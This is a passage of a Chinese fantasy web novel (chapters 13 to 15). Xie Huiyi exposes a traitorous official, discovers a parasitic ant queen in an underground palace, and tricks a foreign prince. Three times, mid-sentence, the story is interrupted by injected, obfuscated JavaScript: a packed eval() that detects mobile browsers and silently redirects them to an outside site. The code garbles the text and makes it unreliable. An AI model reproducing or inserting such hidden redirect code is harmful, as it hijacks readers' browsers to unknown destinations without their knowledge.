“谢小姐务必引以为鉴,切勿在大人面前提及这段陈年往事,更不要谈及如今的娄厥。毕竟,娄厥是大人大义灭亲的地方。” “大义灭亲?”谢晦已捕捉到了关键字眼,“李大人杀了什么人?” 于虞环顾四周,最终向前一步压低声音说道:“大人在娄厥杀死了他的外祖父,与他的母亲。此事在京城人尽皆知,但从始至终都是个禁忌,谢小姐一定不要提及。” 谢晦已沉默了片刻。关于李灵濯的身世,她并不感到意外,毕竟她也从未见过碧瞳之人,所以在见到他第一眼时,她就确定了他的异族身份。 妖异之象是个不小的罪名,她见过不少因先天残疾而被溺毙的婴儿,他母亲将他抚养长大一定极为辛苦,照理来说,他们应当是母子情深才对,当时究竟是如何境地,竟能逼他挥刀相向? 一枚流矢忽然穿破窗户,直接钉死在对面的墙壁上。 外面的打打杀杀依旧未能平息,谢晦已听声音依稀能分辨出,黑衣人那方还有增援。 谢晦已看了一眼屋内的陈设,对于虞抬手说道:“夫子,流矢无眼,我们躲在柜子之后。” 于虞也正有此意,不过还未等二人将柜子抬到门前,门就被人打开了。 是青州府的王同知。只听他恭声说道:“谢小姐,于夫子,你们速速与我走府内密道离开。” 谢晦已皱着眉问道:“王大人,李小姐呢?” “我们原本是在一块的,刘大人护送李小姐过来时被刺客冲散,所以只好先行一步,令我带人接应你们紧随其后。” 于虞与谢晦已相视不语,均在对方眼中看见了一抹凝重。李灵濯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875689|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数日未归,只怕是不得脱身。而黑衣人如此猖狂,想来是在那边未能得手,打算从这边切入。 于是她们当即跟着王同知走向府中密道。 这一路上,有不少被波及的下人捂着胳膊、捂着腿躺在路边哀嚎,府医忙得晕头转向,流矢与折剑落得满地都是,与鲜血混成泥泞的溪流。 情况远比谢晦已预想的还要糟糕。王同知也是一脸凝重地左顾右看,全程一言不发。 密道狭窄,谢晦已让于虞被人护送着先进了密道,自己则故意留在最后,与王同知挨在一块。 “王大人,李大人数日未归,你知道他去了什么地方吗?”她问。 王同知摇了摇头:“我并不清楚,好像是什么山谷,应该与已故的张知府有关,李大人这几日一直在追查余孽。” “方才的那些刺客可有抓到活口?”谢晦已又问。 王同知的神情显得有些忧心忡忡,“他们是死士,眼看情况不利就会咬碎口中毒囊,不会给我们审问的机会。” 谢晦已定定地看着他,随后幽幽一笑:“死士没有供出你,你应该很开心吧?” 闻言,王同知忽然瞪大了双眼:“谢小姐这是哪里的话?” “别装了,带我去见见你的幕后主使。”谢晦已当即掏出匕首,抵在他的脖颈上:“袖子里的东西拿出来,丢在地上,别让我说第二遍。” 王同知一咬牙,把袖子里的布包扔在地上。“你是怎么知道的?” “你行走时袖子摩擦的声音不对,”她这双耳朵不说精准无误,但是用在这种事情上绰绰有余,“这是什么东西?” 王同知答道:“迷香。” 谢晦已又问:“幕后主使要你做什么?” “他希望我将你送到山林里,威胁李大人。”王同知说道。 “撒谎,”谢晦已冷笑一声,“想要将我偷偷带到山林中,你大可避开众人带我单独行动,又为何要带着我走密道? “你分明是想趁乱将我光明正大地转移至你府上,不仅能将我据为己有,满足你的龌龊心思,还能以此要挟李大人,逼他掩盖你的罪行。” 说到这里,她握着匕首的手更用了几分力道。 “王大人,与人合作也要隔一层肚皮,可见你的盟友来头不小,令你心生忌惮啊?青州城里何时有了这样不为人知的庞然大物?说出来也好让我开开眼界。” 王同知见自己的心思被猜中,瞬间恼羞成怒: “男人最了解男人,你以为李大人是什么正人君子?我早就看出来了,下雪的那天晚上他到处打听你,还威胁我离你远些。狗屁兄妹,用得着他来辟谣,我还能看不出来你们睡过?” 谢晦已轻笑出声,应和了一句: “李大人确实不是什么好东西,我比你更清楚。你不妨说些我不知道的事情,比如刺客是谁派来的?你在为谁效忠?京城中又是否留有后手?你跟张知府又是什么关系?” “谢小姐,你的问题未免太多了。” 王同知刚想挣扎,就被脖子上架着的匕首划伤了颈侧。见状,他只得咬牙交代道:“自然是你知道的人。” 13. 吾乃山鬼 青州西侧某处。 李灵濯站在山顶俯瞰着整座山谷。 深绿色的树冠连成一片,将千万年来枝叶腐烂而成的土壤遮盖其中,雾茫茫的瘴气为本就人迹罕至的丛林蒙上一层神秘的纱罩。 这片距青州十余里的山谷中,藏着一座私铸兵器的地宫,它尘封已久,如今却被幕后主使重新启用。 这一带的成年男子全被抓去做壮丁,妇孺孩童一部分留下负责扫洒做饭,另一部分则被卖到更深的山林里——这便是村庄“闹鬼”的真相。 倘若不是他打着寻亲的名义,带人一路追查至此,先帝时期留下来的隐患不知还要延续多久。 素秉这时恭声道:“主子,有一队人马从山谷东侧走了出去,怕是冲着城里去的。” 李灵濯毫不犹豫地说:“不要打草惊蛇。” 他事先已有部署,府中也留了人手应付,那边应当不成问题。 “是。主子,我们何时动手?” 李灵濯看了一眼昏沉的天,没有太阳,瘴气里的视野极其受限,然而机不可失,此行的成败便在此一举。 于是,他指着山谷下令道:“现在。所有人入谷,地上一个不留。” 大雨倾盆而下。 谢晦已腰间绑着一柄长刀,骑着那匹斑驳灰马疾驰在山林间,一路向西。她死死闭着左眼,仅靠右眼与双耳,在雨雾中辨认方向。 不知走了多久,马被一根粗壮的藤蔓绊倒,谢晦已摔落马下,后腰重重撞上岩石,疼得眼前一黑。 刚刚学会骑马,她的技艺还是不够娴熟,可时间已经来不及了。 顾不得剧痛,她在泥泞中翻滚起身,仰头便看见不知年岁的树冠,在暴雨中狰狞地张开了爪牙,枝桠拧着气根结成黑洞洞的密林,就算正午时分,也全然隔绝了天光。 她知道,这条小路没有错,她终于抵达了山谷腹地。 暴雨冲刷的声音太大,她脑海中的杂音也太过密集,但此时的她只能咬牙硬挺着,扶着粗壮的树干竭力向前行走。 那些水流不断汇集下渗,她走走停停,始终没有找到满意的缺口——水流下渗之地必有密道,而整个山谷的秘密就藏在下面。 循着水流行进方向,她砍开前面拦住去路的树枝,耳边的水流声骤然变大。 低洼处的缓坡上,两尊石狮子雕像沉降到泥土之中,身上爬满了青苔,其中一只的眼珠早就不知去向。而位于它们之间,略高一些的巨大石板却只留下了岁月磨损的痕迹。 她将手伸进石狮子的耳朵里用力拧转,只听“轰隆”一声,石板缓缓升起,并逐渐翻转成一块巨型碑石。 碑石上面的刻字早已模糊不清,它升至最高处时完整露出了下方的洞口,修建得极为粗糙的石阶排列在黑暗之中。 她下意识地看了一眼脚下的漆黑一片,不等她估算脚下到底有多深,石洞里面忽然由内而外吹起一阵风,将内部的潮湿气息带到了她身边。 那味道不算好闻,但她必须硬着头皮下去了。 走这段石阶无疑是漫长而枯燥的,特别是当她走到阳光照射不到的地方时,原本被她压制的恐惧感瞬间将她吞噬。 “闭嘴,”谢晦已呵斥一声,“这不是我的记忆。” 她睁开了左眼,而那里面却是猩红一片。吸食他人心念的感觉并不好受,但她必须尽快得到情报,当下抉择只为当下考量,是她一贯的风格。 人皆有三魂六魄,多了便会疯癫发狂,沉溺于不知你我的回忆之中,如梦似幻,真假难分。譬如此刻,谢晦已正与她脑海中的那两缕亡魂念力博弈较量。 一缕来自于牢狱。 “张兄,不是我不保你,实在是李大人太过狡诈,我不能不舍车保帅啊。”王同知狞笑道。 张知府目眦欲裂:“你这个卑鄙小人,你的同知之位还是我一手提拔的!你以为除掉我就能接管青州?做你的春秋大梦吧!” 王同知冷笑一声:“张兄心有怨言,倒是去李大人那告发我啊?你这几日攀咬了多少人,你还记得吗?李大人难道会信你的胡话? “实话告诉你吧,就算你将此事捅到圣上面前,也是白费力气。用不了多久,青州城就会脱离盛朝管辖。” 张知府惊愕地瞪大双眼,根本不敢相信自己听到了什么。 “你可真是病急乱投医,区区一个青州府同知,也想谋反?你以为这样就能让李大人自顾不暇,化解你的牢狱之灾?” “张兄此言差矣。圣上登基后,朝中官员有多少是异族人?你当所有人都能容忍这般景象?百姓们有苦难言,我不过是替他们寻一条明路。” 王同知神秘莫测地一笑:“更何况,张兄怎会觉得我是孤掌难鸣?” 张知府颇感震惊:“你竟敢联合南边的蛮夷?非我族类其心必异,你必将遭到反噬!” “张兄可真是目光短浅之人,怪不得会身陷囹圄而不得解脱。” 王同知不无嘲讽地说:“你倒是说说看,青州这样一个边陲之地,我不拉拢蛮夷,难道还能北上说服永州城跟我造反?蛮夷再如何反噬,也只是一条拴得住的疯狗,它们定能助我将李大人咬死,但是张兄却是见不到那一天了。” 一缕来自于山谷。 “大哥,你说我们那雇主也真是的,天天抓人天天抓人,要这么多人有什么用啊?今日还去抓什么李大人的妹妹,那跟我们有什么关系?” “闭嘴!你知不知道咱们雇主是干什么的?青州府的大官,以后是正儿八经的青州主子,你操心那么多当心掉脑袋!” “我就随口一问。青州城的官员跟外面的蛮夷扯上关系,这算什么事儿?这不是叛国吗?” “滚!带着你的刀滚远点!想死别拖累我!” 他们二人一边说着,一边走出洞穴,逐渐消失在白茫茫的雾气之中。 谢晦已望着他们的背影,握着刀转过头,双脚终于落在坚实的地面。随后,她打亮了火折子,火苗始终未熄,想来在这地下,呼吸是不成问题的。 而这一点颤动的火苗,就构成了谢晦已的全部视野。此时的她正竭力剖析脑海中的记忆,寻找他们存放物资的库房。 那里面存放了不少火药,但外面下着倾盆大雨,如今雨水下渗得厉害,也不知那些火药还管不管用。 就在这时,通道里传来了细微的哭声。她心生疑惑,举着火折子蹑手蹑脚地走了过去。 通道尽头是一间牢房,借着里面的光亮,谢晦已看清里面关押了不少人。无论男女老少,皆是一副骨瘦如柴的模样,更有几人歪歪扭扭地躺在地上,也不知还能撑到几时。 也许是知道他们根本逃不远,所以外面根本无人看守。 谢晦已不禁脚步一顿,停在门前。在死士的片段记忆中,这条通道上是没有这样一个房间的,他们的存在是为了什么? 她知道山谷需要大量壮丁,所以这里出现成年男子是极为怪异的。难不成他们是患上了瘟疫?抑或是有其他用途,才被集中在这里? 谢晦已犹豫片刻,将口鼻全部围住后,躲在门后观察内部。 “娘,我饿,我好饿。” “丧尽天良!他们究竟还要喂上多少人!” 这时,一枚火折子忽然落在人群当中,引得里面一阵尖叫声。 “谁!是谁?” “怎么会忽然有光?难道是那群人回来了?” 门外的谢晦已压低声音,故弄玄虚道: “吾乃昙门无极无相仙人,世人皆称吾为山鬼,听闻人间祈愿,故此 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“他们会逼我们吞下一颗透明的药丸。没过多久,我们就会变得虚弱不堪、心智混乱,最终的死相很难看,像被吸干的木材。他们总是不满意这种结果,可成功的结果是什么,我们到现在都不清楚。” “山鬼娘娘,”一名妇人忽然开了口,“我的孩子她只是嚷嚷肚子饿,她还能活下去,求您先带她走好不好?” 旁边的人大声吼道:“凭什么只带她走?我病得也不重!” “你说不重就不重?我昨日明明看见你吐血了!” 在他们争吵时,谢晦已快速搜刮了这一层的库房,用外衣兜住,带着一堆东西走了回来。 “安静,听吾一言。” 谢晦已将翻出来的物资放在门外的通道中,又打亮一枚火折子,丢它在屋内静静燃烧。 “看见火光没有?待它燃尽,门外会出现药物,每人三粒不得争抢。出去以后沿东侧小路行走,那匹灰马认得路,它会带你们离开山谷。 “天黑以前,会有一名女弟子前来接应你们,她姓谢,届时我将附身在她身上,以她的眼睛审视你们。记住,你们不得抢夺物资,不得接触旁人,不得擅自入城。” 谢晦已射出袖箭,熄灭了墙上的灯火,“否则,天涯海角,吾必杀之。” 交代完这些,趁着火折子还未熄灭,她拿起长刀消失在密道尽头。 地面上。 行走在瘴气之中的暗卫一点一点地割断横亘在面前的低矮灌木,好让行进的道路畅通无阻。 草叶上停留的昆虫五颜六色,每每瞥见,他们都竭力避免接触到它们的外壳,生怕会因此中毒。 李灵濯的身上不知不觉间也挂满了露水,潮湿又黏腻,让他浑身都不自在。不过,此时的他已然顾及不上这些事情。 在他们斜下方处,一处圆盘似的汉白玉平台被修筑在丛林的中心,边缘是一圈又一圈的飞鸟首尾衔接,像树干的年轮,遍及整片平台。 李灵濯认识这个图腾,它并非盛朝的本土传统,而是来自于南方的邻国——烛夜。 一旁的香炉还冒着烟,在它的正前方有一根同样刻印着飞鸟图腾的石柱,约莫碗口粗细,上面有两个铁环,分别连接着一截铁链。 赤褐色的污垢残留在花纹通路中,从石柱顶端而下,一路蜿蜒至最外面的泥土。 一名身形矮小的人背对着他们,只看他外衣上的周天星图,便能断定他烛夜人的身份。 “纪茶商,你这是在责怪本王子没有帮助你们?”烛夜人的语气极为倨傲。 那唤做“茶商”的,正是前些日子向李灵濯敬酒询问海关之事的富商。 14. 密林地宫 纪茶商点头哈腰:“二王子言重了,只是朝廷派下来的那位指挥使大人,整日在青州城查东查西,美人金钱香料一概不收,王同知派去刺杀的人也都有去无回。 “我想事情一旦暴露,对您也是不利的。贵国大王子不正想与盛朝缔结联盟?眼下大王子只缺一个由头,二王子总不想被捏住把柄,替他人做嫁衣吧?” 二王子说:“你这段话倒是说得有模有样。你是想让本王子先拿了那狗官的命,替你也是替我自己除掉这个隐患?” 茶商恭顺点头:“是。二王子,此事百利而无一害啊。” “也好,反正本王子与他也结下了梁子,”二王子指着那石柱,“在新土上要祭祖,这是我们烛夜的规矩。你跟那位王大人答应过我,会把那位李大人的妹妹带过来。她身上流着李家人的血,我的先祖一定会很喜欢。” 埋伏在一旁的李灵濯眉头一紧。 倘若二王子在山谷藏匿了烛夜军队,自己也带足了人手。但他所谓的“新土”,究竟是何种寓意? “主子,”他身侧的素秉向他汇报,“山谷里没有军队痕迹。” 李灵濯转头看他:“没有军队?” “是,但是地宫的入口处有很多车轮的痕迹,他们似乎在地宫中囤积了大量货物。属下找准机会,趁着他们换班,抓了一个地宫里的守卫,但他疯疯癫癫的,嘴里一直在说什么‘王后’,‘家园’的,根本没什么有用的话。属下无能,暂且没有查出那些货物是什么。” 素秉颇感失落,但心中不免有些纳闷,“主子,那守卫真的很不对劲,这样的人也能替这幕后主使做事?倘若他们的人手皆是如此情形,我们不若直接攻入地宫,将那批货物带出来?” 眼下唯有杀入地宫,才能查明真相,然而那个真相过于扑朔迷离,他们搜查了多日依旧无果,导致他们不敢轻举妄动。 “不。” 听着素秉的话,李灵濯的心中隐隐有了猜想:“地宫、货物、不见天日的东西……他带来的杀器或许不是军队,也不是人。” “不、不是人?” 素秉浑身一颤,慢悠悠地转动眼珠,死死地盯着那地宫入口。 天空中忽然炸起一道巨雷。 谢晦已手上一顿,随后将身上的守卫装束系紧。 如今的她已经不需要照明了,就算紧闭着双眼,也能在这漆黑一片中健步如飞。 在那些记忆之中,她看见了叫做“海洋”的一望无际的大湖,也看见了久别的京城。她竭力控制着自己不要去剖析无用的回忆,遏制住自己的好奇,然而这些念头就像啃噬她的蚂蚁,无时无刻不在搓磨她的心神。 当然,她仍旧认为自己这一趟的收获远超预期。 一个时辰之前。 王同知跟谢晦已交代道:“是茶商,那个姓纪的茶商,这一切的幕后主使是他。” 谢晦已在脑海中搜寻许久,终于想起他是哪号人物:“他放着好好的产业不做,非要来当反贼?一个商户空有钱财,手无军队,亦无权势,他想干什么?是想拿银子砸死我们吗?” 王同知恶狠狠地说:“谢小姐不满意什么呢?有些话我说出去,你听了未必能活命。” 眼看这人死到临头还想威胁自己,谢晦已只觉得他荒谬可笑:“我自有定夺,你不必在这与我拖延时间。” “我也是为谢小姐做打算,”王同知上下打量她,“敢问谢小姐,你委身于异族之人,不觉得耻辱吗?” 谢晦已注视着他的双眼,没有吭声静等下文。 王同知滔滔不绝:“你以为替李大人做事,他便会高看你一眼?以色事人并非长久之道,更别说他那种出身的最看重门当户对,等他回了京城,他还能念着你的好?省省吧谢小姐,女之耽兮不可说也!” 谢晦已似是被说动:“怎么,我与你做同行之人,你便会为我指一条明路?” “自然。李大人不过是一个指挥使,又与当今圣上一样,是来自于娄厥的蛮夷。你以为他们还能笼络多少民心?谢小姐跟对明主才是正道。” 谢晦已不禁追问:“明主是何人?” 王同知高傲地抬起下巴:“正是在下。” 谢晦已险些憋不住笑:“什么?” 王同知循循善诱:“以谢小姐的姿色,就算贵妃也做得,何必跟在一个指挥使的身侧?我已筹谋多日,青州必是我的囊中之物,你此时跟了我,也算是共患难过,来日定将贵不可言。” 想起前些日子李灵濯说的话,谢晦已笃定说道:“李大人这几日能顺藤摸瓜处置这么多从犯,想来也有你的缘故。他们都是张知府的人手吧?” 王同知嗤笑一声:“想要成就大业,必先清理门户。张知府是个蠢货,根本看不清李大人就是个披着人皮的禽兽,怎么可能放过我们?倒不如放手一搏,朝堂之上尽是娄厥之辈,这等蛮夷简直是玷污盛朝江山,不是么?” 谢晦已试探道:“你这么有把握,可是准备了什么东西能一击必杀?” 王同知高深莫测地看着她,语气中满是炫耀:“这是自然,山谷里的东西很快就要破壳而出,凭李大人带再多的人手,都只会化作养分。青州再险峻的山也会被我们夷平,我们必将势如破竹。” “养分?这是何意?”谢晦已问道。 “自然是盟友的诚意。千里之堤,溃于蚁穴,我的人很快就要得手,你现在捉了我也无济于事。” “看来李大人此行凶多吉少,”谢晦已故作遗憾地叹息一声,“脱离了盛朝以后,你们的国号要定为什么?” “‘王’,我们便是王朝。投靠于我,你才能拥有一世荣华富贵,哪一条路才是正道,你心知肚明。” “你开的条件不错,但是你料错了两件事情。其一,你定的国号实在是太难听。” 谢晦已盯着王同知的眼睛,忽然露出了嗜血的笑容:“其二,你也参与了拐卖一案,无论是否牵连到我,我都会视之为敌。我怎么会跟我的仇人共商国是?” 在他惊恐的目光中,她心里只余下一道阴冷的声音。 “谢晦已,吞噬他们,这就是你该走的路。” 谢晦已摇了摇头。 这地宫下面漆黑一片,她已经快要分辨不清,到底哪道声音才是她的心中所想。 “咚”的一声,她的面前又是一名守卫倒地,双目无神,再无气息。 谢晦已试图消化他的心念,然而她读取到的内容,依旧是一团浑浊不堪的怨念。 这些地宫里的守卫极其不正常,她操纵他们几乎不需要什么念力,也没有感受到他们灵台之中的挣扎意识。 如果非要形容的话,那便是不像活人。 也许是有这样的想法在,地宫里的守卫在她眼里就是一具具行尸走肉,他们的命如同草芥,那些心念聊胜于无,她吸食人心后将其杀掉,行云流水,毫无顾忌。 “这是第几层了?”她自言自语。一手撑着墙壁,另一只手拿着火折子照亮通道。 这里的地宫不比上面一层,土道的墙壁鲜少有人工开凿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875691|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的痕迹,比起工程挖掘,谢晦已觉得这更像是被啃噬出来的通道。还好排水情况良好,不至于让她爬成泥人。 隐隐又有脚步声不断接近。 “快点把东西搬过去别偷懒!” “这是王后身上的珍贵之物。” “一切都是为了我们的新土!” 谢晦已侧过身,躲进一处凹陷中,避开了搬运货物的一排守卫。 她刚想在黑暗中继续摸索前进,她的背后忽然亮起一盏灯火。 又是一名地宫中的守卫。 “喂!有人说地道里出了乱子,村民披上我们的衣服混进来了。为了我们的新土,现在是例行检查,你转过身来!” 听着他的话,谢晦已忽然有了一个新主意。 只见她从容不迫地转过身,双眼一片猩红,对他居高临下地命令道: “别来烦我。你去告诉所有人,这是主子的命令,让所有的工坊停转,将那些抓来的村民尽快放走。” 说完这些话后,她拍了拍这个守卫的肩膀,并对他呵斥一声,“还不快去?” “啊、好的。我这就去放了他们。” 守卫懵懵懂懂地转过身,依照她说的话跑向通道尽头,快得好像身后有恶鬼在追。 谢晦已转过身,用从他身上偷来的钥匙打开了沉重的铁门。 这里是地宫最底层,四通八达的密道上来来往往都是搬运货物的守卫。这处库房也是整座地宫里最宽阔、最严密的一间,存放着他们最终的杀器。 她打开的是备用侧门,点亮了墙壁上的灯火后,她转头静静注视着库房中央。 山谷里的瘴气、丛林,甚至是上面的兵器工坊都是它的幌子,真正的心脏其实正是此物,是万物之初,也是开辟新土的关键——一个巨型蚁后。 它正在产出荔枝大小的卵,而整座地宫都是它的巢穴,四通八达的土道,是作为“工蚁”的守卫用来传输养分的通道。 地宫下的守卫都服下了“卵”,会作为“工蚁”誓死捍卫家族,无论严刑拷打,他们都不会让秘密飞出山谷。 那些村民是他们的养分。所谓的病症,是蚁虫寄生人体的病症。而下雨更换房间,是作为蚂蚁的本性,阴雨天为了蚁族安危要整族迁徙,寻找更合适的环境繁殖——人体既是它们的养分,也是运输他们的最佳载体。 就像是在培养蛊王,工蚁们用这些村民去培养出最有活力的蚁后,随后再让它们去新的土地上再建家园。 杀死眼前的蚁后并不会终结这一切,那些卵还会出现新的族群污染盛朝的土地。 谢晦已看着四面成箱摆放的蚁卵,心中猛地一沉。 那些箱子已经堆到了顶棚,渗透的黏液堆积在地面,而库房中还坐着谈笑风生的守卫。青州城的灭顶之灾就在眼前,木箱之中有无数双眼睛,涌到透明薄膜的边缘,正透过木箱缝隙审视自己,也在质询着她的良知。 来不及了,这些蚂蚁很快就要破卵而出了。她知道“千里之堤溃于蚁穴”的道理,她不敢想象等这些蚂蚁爬到边陲之城,敌国的铁蹄将如何踏破一座又一座城池。 想起方才被蚁卵寄生的人们,想起李灵濯说过的法理道义,谢晦已在那一刹那有了自己的决断。 这是她亲自来到这里的目的,也是她从窥探到王同知的记忆起,就有的念头。 ——吃下它,用自己的身体成为新的蚁后,操纵地上地下的所有蚁群,至此之后,高枕无忧。 抢在李灵濯以前,她要独占胜利的成果。 15. 献上头颅 谢晦已擦干净嘴角,踉踉跄跄地走出铁门,通道内迎面又跑来一个守卫。 他攥住谢晦已的胳膊,厉声道:“站住,让我看看你是不是村民!” 谢晦已强撑着清醒,催动体内浑浊不堪的念力,沉声命令道:“听好,主子有令,将库房里的蚁卵全绞碎烧掉,你立刻去通知所有人。” 脚下虚浮、意识恍惚间,谢晦已记不清说了多少话,也辨不清究竟遇见多少守卫。 她只顾得上喋喋不休: “主子下达了命令,你现在去取火油、火药、柴火,什么都好,烧毁蚁卵,将爬出来的蚂蚁全部踩碎。” “主子吩咐,不管用什么方法,将地宫里面的东西全部毁掉。” “快去!” 她一路向前,一路又接连拽住不少守卫,让这些谣言如滚雪球般扩散,在地道里引起一阵又一阵的骚动。 幸好这些守卫早已失了人心,否则她根本无法轻易蛊惑。精神上的疲惫几乎让她迷失自我,但她绝不能倒下。 再多一个人,她想,哪怕再多拉拢一个守卫,他们销毁的速度还会更快。 此刻,烛夜二王子还不知地宫已失控,她也不清楚二王子是否能操纵蚁群,或藏着其他阴毒手段。这种事容不得半点侥幸,她必须赶在蚁卵危及无辜前,将其彻底清除。 谢晦已扶着石墙缓缓起身,对着空荡的通道,也对着视野里那望不到尽头的人群,低声呢喃: “这里已经太久不见天日了。” 那些人站在原地,一动不动地盯着她,脸上露出了诡异的微笑。他们犹如饥肠辘辘的豺狼,在无望的黑暗中,等待着她的自甘堕落。 算算时间也差不多了,谢晦已又抓住一名路过的守卫故技重施。 她眨着蛊惑人心的眼睛,擦去眼角的血泪缓缓开口道:“你告诉所有守卫,要是想活命,就去上面的祭台,我们会在烈火中获得新生。” *** 山谷中。 李灵濯看了一眼天色,方才的倾盆大雨渐渐没了声息,仿佛是天意短暂显灵。 他对身旁的将领低声吩咐道:“你带人包抄过去,等我命令,生擒二王子跟纪茶商,其余守卫一个不留,杀入地宫。” 李灵濯又看向身边的素秉,“附近的山洞里还有村民吗?” “主子,照您的吩咐,全部安全转移了。”素秉说。 这时,在灌木丛遮掩的小道上,墨承行色匆匆地跑了过来,“主子,谢小姐被抓来了!” “谁?”李灵濯神色一凛,一时间竟是有些分辨不清,到底是谁被抓来了。 墨承扫了一眼四周,再次提醒道:“是谢小姐。” 在李灵濯的周围,众兵士披甲待命,只待他一声令下,便可生擒祭台上的那二人,然而这个命令怕是不能即刻下达了。 只见地宫的出口“轰隆”一声开启,两名守卫押送着一个捆了双手的女子,缓缓走向祭台。 李灵濯蹑手蹑脚地向前几步,彻底看清了她的面容。不等疑惑与担忧接踵而至,他心中拔得头筹的,是一股愈演愈烈的无名火。 而谢晦已对此浑然不知。 两名守卫站在她两侧,伸手压着她跪倒在二王子面前。那圆台上的路并不平整,故而二王子并没有注意到,那两名守卫的步态有些诡异。 他居高临下地看她,轻蔑开口道:“你就是李家人?” 谢晦已低垂着头,没有吭声。 “性子倒是高傲。不爱说话,就带过去割开她的喉咙,”二王子眸光一转,看向不远处的石柱纹路,“血别放得太慢,堵塞那些花纹可就不美了。” 话音刚落,二王子便握住腰间佩剑,“行刑吧。” 面对迫近的死亡,谢晦已红着眼眶抬起头,满心的委屈仿佛在这一刻倾泻而出,可视线所及之处,竟是纪茶商的位置。 “你带我来是为了这个?”她高声控诉,隐隐哭腔让她的声音止不住地发颤,“我替你做了那么多事,如今你要借二王子的手将我灭口,对吗?” “你?怎么是你?” 茶商被她盯得心头一跳,虽是一头雾水,却也猛然反应过来,当场指认道:“殿下,她不是那位李小姐,而是李大人带回来的救命恩人,姓谢!” 二王子左看一眼谢晦已,右看一眼纪茶商,不耐烦地质问道:“茶商,你这是什么意思?” “二王子,他说得不错。” 抢在茶商之前,谢晦已凄怆开口,一滴泪水从脸颊决然滴落,“我根本不是什么李小姐,而是茶商献给李大人的女人。李大人碍于面子,这才对外宣称我是他的救命恩人。” 此言一出,不光是二王子,连立在李灵濯身侧的几名将领都震惊地抬起了头。 李灵濯脸色阴沉得可怕:“有时间看我,不如想想怎么把人救出来。” 这一路他遇上了不少逃出来的村民,抓人询问后,给他的答案都是“被放出来的”、“工坊停转了”。 如今得知谢晦已在此处,他心里积攒的疑惑总算一扫而空。但他依旧想不清楚,她这个节骨眼来这里是要做什么?她到底是从何得知,又如何前来?又为何……孤身涉险? 二王子将信将疑,走到谢晦已的面前,掐起了她的下巴。打量清楚她的面容后,他的瞳底流露出一抹不加掩饰的欲望。 “如果你说的是真的,那李大人真是艳福不浅,居然能在这里找到这么漂亮的女人。” 闻言,纪茶商慌忙打断道:“殿下!莫要信她的鬼扯!我只与她有一面之缘!” 谢晦已扭过脸,躲开二王子的手,神色幽暗地看向茶商,“一面之缘?你明明答应过我的,帮完你这一次,你会带着我远走高飞。那些海誓山盟,难道都是假的?” 茶商觉察到了谢晦已目的,不禁破口大骂:“你休想挑拨离间!说!你是不是李大人故意派过来的!那些死士抓的明明是李小姐,怎么来的是你!” “什么叫做挑拨离间?分明是你过河拆桥。” 谢晦已转瞬之间哭得上气不接下气,“若非如此,我顶替李小姐的身份做什么?素不相识,会为海关之事潜伏在李大人身侧?素不相识,会替你遮掩山谷里的勾当?” “你们这是怎么回事?”二王子心中有疑,再次冷声询问茶商,“你最好给我解释清楚。” 茶商急忙跪倒在地:“二王子殿下,这个女人就是在拖延时间,想要借您之手除掉我!我根本没有理由,带一个假的李小姐来见您啊!” “姓纪的,你不仁休怪我不义!” 谢晦已气得浑身发抖,当着众人的面一一揭穿道:“张知府三年前将谷中工坊重启,然而他并不知晓地宫之下藏着什么。王同知与你密谋造反,但他也并不清楚,你早就与二王子暗通款曲。” 她一口气说完,随后转头看向二王子:“殿下,我知晓你们的全部计划,地下的东西养了至少两年,它究竟是什么,我现在就可以给你画出来。这样可以算作是证据吗?” 见她言之有据,二王子斜乜茶商一眼,杀意展露无遗。 茶商吓得以头抢地:“此中必定有诈,二王子不可相信啊!” “闭嘴!” 手起刀落,茶商断掉的胳膊在空中划出一道轨迹,鲜血溅了一地。 “你瞒着本王子乱搞女人,但没有背叛本王子,本王子可以饶你一命,”二王子尚存理智,这时又瞥向谢晦已,“至于你,你很漂亮,但是你知晓这么多秘密,摆在你面前的有两条路。要么跟了本王子,要么死。” “我需要犹豫吗?真是可笑。” 吸取了一羽那次的教训,谢晦已故意激怒他道: “堂堂一国皇子,竟用这样下三滥的手段,当真是闻所未闻,你们皇宫怕不是蚊虫鼠蚁横行的茅房,你们太祖皇帝不会是一只蜚蠊吧? “原本我还纳闷,怎么就修了个地宫出来。如今见你这副寸短身形,我总算明白了。怪不得要向下打洞呢,这圆台台阶修得这般高,雨天路滑,你蹦得上来吗?光是站在地面上,你就已经很努力了吧?” “放肆!” 二王子大喝一声,随后走到谢晦已面前,将长剑拔出指着她道:“本王子亲自行刑,就用你体内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875692|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血,来献祭我的祖先吧!” 人在愤怒时是心神不宁的,谢晦已知道自己念力有限,对上这种常年习武之人不会有胜算,但她争的就是这一瞬间。 